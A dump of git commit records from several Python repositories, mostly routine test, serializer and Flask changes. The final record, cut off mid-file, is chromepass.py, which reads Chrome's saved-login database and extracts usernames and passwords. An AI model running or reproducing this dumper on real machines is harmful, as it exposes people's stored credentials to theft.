9da4bbe2c5d8dbfe6436ff4fe5e1387178009897 | employees/tests.py | employees/tests.py | from .models import Employee
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Employee.objects.create_superuser('user2', 'user2@email.com', 'user2password')
def test... | from .models import Employee
from categories.models import Category
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Category.objects.create(name='Coworker')
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Empl... | Fix category dependency for employee creation flow in testing | Fix category dependency for employee creation flow in testing
| Python | apache-2.0 | belatrix/BackendAllStars | from .models import Employee
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Employee.objects.create_superuser('user2', 'user2@email.com', 'user2password')
def test... | from .models import Employee
from categories.models import Category
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Category.objects.create(name='Coworker')
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Empl... | <commit_before>from .models import Employee
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Employee.objects.create_superuser('user2', 'user2@email.com', 'user2password'... | from .models import Employee
from categories.models import Category
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Category.objects.create(name='Coworker')
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Empl... | from .models import Employee
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Employee.objects.create_superuser('user2', 'user2@email.com', 'user2password')
def test... | <commit_before>from .models import Employee
from rest_framework.test import APITestCase
class EmployeeTestCase(APITestCase):
def setUp(self):
Employee.objects.create_superuser('user1', 'user1@email.com', 'user1password')
Employee.objects.create_superuser('user2', 'user2@email.com', 'user2password'... |
5ab1df0c4a130b4cd32b01805f5749d29795a393 | x256/test_x256.py | x256/test_x256.py | from twisted.trial import unittest
import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [215, 0, 135]
... | from twisted.trial import unittest
from x256 import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [215, 0, ... | Fix some bugs in tests | Fix some bugs in tests
| Python | mit | magarcia/python-x256 | from twisted.trial import unittest
import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [215, 0, 135]
... | from twisted.trial import unittest
from x256 import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [215, 0, ... | <commit_before>from twisted.trial import unittest
import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [21... | from twisted.trial import unittest
from x256 import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [215, 0, ... | from twisted.trial import unittest
import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [215, 0, 135]
... | <commit_before>from twisted.trial import unittest
import x256
class Testx256(unittest.TestCase):
"""
Test class for x256 module.
"""
def setUp(self):
self.rgb = [220, 40, 150]
self.xcolor = 162
self.hex = 'DC2896'
self.aprox_hex = 'D7087'
self.aprox_rgb = [21... |
7049c7391fff858c21402c80cd49e6b729edebf7 | setuptools/tests/test_logging.py | setuptools/tests/test_logging.py | import logging
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, expected_level):
"""Ma... | import inspect
import logging
import os
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, e... | Add simple regression test for logging patches | Add simple regression test for logging patches
| Python | mit | pypa/setuptools,pypa/setuptools,pypa/setuptools | import logging
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, expected_level):
"""Ma... | import inspect
import logging
import os
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, e... | <commit_before>import logging
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, expected_le... | import inspect
import logging
import os
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, e... | import logging
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, expected_level):
"""Ma... | <commit_before>import logging
import pytest
setup_py = """\
from setuptools import setup
setup(
name="test_logging",
version="0.0"
)
"""
@pytest.mark.parametrize(
"flag, expected_level", [("--dry-run", "INFO"), ("--verbose", "DEBUG")]
)
def test_verbosity_level(tmp_path, monkeypatch, flag, expected_le... |
34463dc84b4a277a962335a8f350267d18444401 | ovp_projects/serializers/apply.py | ovp_projects/serializers/apply.py | from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(requ... | from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(requ... | Add username, email and phone on Apply serializer | Add username, email and phone on Apply serializer
| Python | agpl-3.0 | OpenVolunteeringPlatform/django-ovp-projects,OpenVolunteeringPlatform/django-ovp-projects | from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(requ... | from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(requ... | <commit_before>from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.... | from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(requ... | from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.EmailField(requ... | <commit_before>from ovp_projects import models
from ovp_projects.models.apply import apply_status_choices
from ovp_users.serializers import UserPublicRetrieveSerializer, UserApplyRetrieveSerializer
from rest_framework import serializers
class ApplyCreateSerializer(serializers.ModelSerializer):
email = serializers.... |
333c5131f8e85bb5b545e18f3642b3c94148708d | tweet_s3_images.py | tweet_s3_images.py | import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = './{}'.format(image_name)
self._s3_... | import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = '/tmp/{}'.format(image_name)
self._... | Change temp directory and update tweet message. | Change temp directory and update tweet message.
| Python | mit | onema/lambda-tweet | import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = './{}'.format(image_name)
self._s3_... | import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = '/tmp/{}'.format(image_name)
self._... | <commit_before>import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = './{}'.format(image_name)
... | import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = '/tmp/{}'.format(image_name)
self._... | import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = './{}'.format(image_name)
self._s3_... | <commit_before>import exifread
import os
class TweetS3Images(object):
def __init__(self, twitter, s3_client):
self._twitter = twitter
self._s3_client = s3_client
self._file = None
def send_image(self, bucket, image_name, cleanup=False):
temp_file = './{}'.format(image_name)
... |
a8de8ebdfb31fd6fee78cfcdd4ef921ed54bf6f1 | currencies/context_processors.py | currencies/context_processors.py | from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'currency': request.session['c... | from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'CURRENCY': request.session['c... | Remove the deprecated 'currency' context | Remove the deprecated 'currency' context
| Python | bsd-3-clause | bashu/django-simple-currencies,pathakamit88/django-currencies,panosl/django-currencies,pathakamit88/django-currencies,mysociety/django-currencies,bashu/django-simple-currencies,ydaniv/django-currencies,racitup/django-currencies,marcosalcazar/django-currencies,panosl/django-currencies,jmp0xf/django-currencies,ydaniv/dja... | from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'currency': request.session['c... | from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'CURRENCY': request.session['c... | <commit_before>from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'currency': req... | from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'CURRENCY': request.session['c... | from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'currency': request.session['c... | <commit_before>from currencies.models import Currency
def currencies(request):
currencies = Currency.objects.all()
if not request.session.get('currency'):
request.session['currency'] = Currency.objects.get(is_default__exact=True)
return {
'CURRENCIES': currencies,
'currency': req... |
9b0dea78611dbaba468345d09613764cd81e6fd0 | ruuvitag_sensor/ruuvi.py | ruuvitag_sensor/ruuvi.py | import logging
import re
import sys
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win'):
from ruuvitag_sensor.ble_communication import BleCommunicationWin
... | import logging
import re
import sys
import os
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win') or os.environ.get('CI') == 'True':
# Use BleCommunicationWi... | Use BleCommunicationWin on CI tests | Use BleCommunicationWin on CI tests
| Python | mit | ttu/ruuvitag-sensor,ttu/ruuvitag-sensor | import logging
import re
import sys
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win'):
from ruuvitag_sensor.ble_communication import BleCommunicationWin
... | import logging
import re
import sys
import os
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win') or os.environ.get('CI') == 'True':
# Use BleCommunicationWi... | <commit_before>import logging
import re
import sys
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win'):
from ruuvitag_sensor.ble_communication import BleComm... | import logging
import re
import sys
import os
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win') or os.environ.get('CI') == 'True':
# Use BleCommunicationWi... | import logging
import re
import sys
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win'):
from ruuvitag_sensor.ble_communication import BleCommunicationWin
... | <commit_before>import logging
import re
import sys
from ruuvitag_sensor.url_decoder import UrlDecoder
_LOGGER = logging.getLogger(__name__)
macRegex = '[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$'
ruuviStart = 'ruuvi_'
if sys.platform.startswith('win'):
from ruuvitag_sensor.ble_communication import BleComm... |
804471657da0b97c46ce2d3d66948a70ca401b65 | scholrroles/behaviour.py | scholrroles/behaviour.py | from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_role_for(self, ob... | from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_role_for(self, ob... | Validate Model function to allow permission | Validate Model function to allow permission
| Python | bsd-3-clause | Scholr/scholr-roles | from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_role_for(self, ob... | from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_role_for(self, ob... | <commit_before>from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_ro... | from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_role_for(self, ob... | from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_role_for(self, ob... | <commit_before>from collections import defaultdict
from .utils import get_value_from_accessor
class RoleBehaviour(object):
ids = []
object_accessors = {}
def __init__(self, user, request):
self.user = user
self.request = request
def has_role(self):
return False
def has_ro... |
1b95ca396b79cab73849c86c6e8cb14f21eeb9a5 | src/txkube/_compat.py | src/txkube/_compat.py | # Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinstance(b, unicode)... | # Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinstance(b, unicode)... | Add helper methods: 1. for converting from native string to bytes 2. for converting from native string to unicode | Add helper methods:
1. for converting from native string to bytes
2. for converting from native string to unicode
| Python | mit | LeastAuthority/txkube | # Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinstance(b, unicode)... | # Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinstance(b, unicode)... | <commit_before># Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinsta... | # Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinstance(b, unicode)... | # Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinstance(b, unicode)... | <commit_before># Copyright Least Authority Enterprises.
# See LICENSE for details.
"""
Helpers for Python 2/3 compatibility.
"""
from json import dumps
from twisted.python.compat import unicode
def dumps_bytes(obj):
"""
Serialize ``obj`` to JSON formatted ``bytes``.
"""
b = dumps(obj)
if isinsta... |
342cbd0f3ed0c6c03ba6c12614f5b991773ff751 | stash_test_case.py | stash_test_case.py | import os
import shutil
import subprocess
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_PATH = '.patches... | import os
import shutil
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_PATH = os.path.join('test', '.patc... | Store temporary test directories in test path. | Store temporary test directories in test path.
| Python | bsd-3-clause | ton/stash,ton/stash | import os
import shutil
import subprocess
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_PATH = '.patches... | import os
import shutil
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_PATH = os.path.join('test', '.patc... | <commit_before>import os
import shutil
import subprocess
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_P... | import os
import shutil
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_PATH = os.path.join('test', '.patc... | import os
import shutil
import subprocess
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_PATH = '.patches... | <commit_before>import os
import shutil
import subprocess
import unittest
from stash import Stash
class StashTestCase(unittest.TestCase):
"""Base class for test cases that test stash functionality.
This base class makes sure that all unit tests are executed in a sandbox
environment.
"""
PATCHES_P... |
5db36085a1690d96a0f1b675b2926190b94d6abf | roomcontrol.py | roomcontrol.py | from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.register_blueprint(... | from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.register_blueprint(... | Add get method to settings | Add get method to settings
| Python | mit | miguelfrde/roomcontrol_backend | from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.register_blueprint(... | from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.register_blueprint(... | <commit_before>from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.regi... | from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.register_blueprint(... | from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.register_blueprint(... | <commit_before>from flask import Flask
from roomcontrol.music import music_service
from roomcontrol.light import light_service
from roomcontrol.alarm import alarm_service
app = Flask(__name__)
app.register_blueprint(music_service, url_prefix='/music')
app.register_blueprint(light_service, url_prefix='/light')
app.regi... |
d28c968088934f2aace7722ead000e8be56813ec | alg_sum_list.py | alg_sum_list.py | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list(num_ls):
"""Sum number list by recursion."""
if len(num_ls) == 1:
return num_ls[0]
else:
return num_ls[0] + sum_list(num_ls[1:])
def main():
num_ls = [0, 1, 2, 3, 4, 5]
p... | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list_for(num_ls):
"""Sum number list by for loop."""
_sum = 0
for num in num_ls:
_sum += num
return _sum
def sum_list_recur(num_ls):
"""Sum number list by recursion."""
... | Complete benchmarking: for vs. recur | Complete benchmarking: for vs. recur
| Python | bsd-2-clause | bowen0701/algorithms_data_structures | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list(num_ls):
"""Sum number list by recursion."""
if len(num_ls) == 1:
return num_ls[0]
else:
return num_ls[0] + sum_list(num_ls[1:])
def main():
num_ls = [0, 1, 2, 3, 4, 5]
p... | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list_for(num_ls):
"""Sum number list by for loop."""
_sum = 0
for num in num_ls:
_sum += num
return _sum
def sum_list_recur(num_ls):
"""Sum number list by recursion."""
... | <commit_before>from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list(num_ls):
"""Sum number list by recursion."""
if len(num_ls) == 1:
return num_ls[0]
else:
return num_ls[0] + sum_list(num_ls[1:])
def main():
num_ls = [0, 1,... | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list_for(num_ls):
"""Sum number list by for loop."""
_sum = 0
for num in num_ls:
_sum += num
return _sum
def sum_list_recur(num_ls):
"""Sum number list by recursion."""
... | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list(num_ls):
"""Sum number list by recursion."""
if len(num_ls) == 1:
return num_ls[0]
else:
return num_ls[0] + sum_list(num_ls[1:])
def main():
num_ls = [0, 1, 2, 3, 4, 5]
p... | <commit_before>from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
def sum_list(num_ls):
"""Sum number list by recursion."""
if len(num_ls) == 1:
return num_ls[0]
else:
return num_ls[0] + sum_list(num_ls[1:])
def main():
num_ls = [0, 1,... |
ec6c47796697ca26c12e2ca8269812442473dcd5 | pynuts/filters.py | pynuts/filters.py | """Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import QuerySelectField, QuerySelectMultipleField
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if field.data:
return escape(
... | # -*- coding: utf-8 -*-
"""Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import (
QuerySelectField, QuerySelectMultipleField, BooleanField)
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if ... | Add a read filter for boolean fields | Add a read filter for boolean fields
| Python | bsd-3-clause | Kozea/Pynuts,Kozea/Pynuts,Kozea/Pynuts | """Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import QuerySelectField, QuerySelectMultipleField
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if field.data:
return escape(
... | # -*- coding: utf-8 -*-
"""Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import (
QuerySelectField, QuerySelectMultipleField, BooleanField)
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if ... | <commit_before>"""Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import QuerySelectField, QuerySelectMultipleField
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if field.data:
return ... | # -*- coding: utf-8 -*-
"""Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import (
QuerySelectField, QuerySelectMultipleField, BooleanField)
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if ... | """Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import QuerySelectField, QuerySelectMultipleField
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if field.data:
return escape(
... | <commit_before>"""Jinja environment filters for Pynuts."""
from flask import escape
from flask.ext.wtf import QuerySelectField, QuerySelectMultipleField
def data(field):
"""Return data according to a specific field."""
if isinstance(field, QuerySelectMultipleField):
if field.data:
return ... |
fee5cea7bf734599e374c6725fa01f3cebedd657 | chromepass.py | chromepass.py | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | Change pass to password to avoid shadowing | Change pass to password to avoid shadowing
| Python | mit | hassaanaliw/chromepass | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
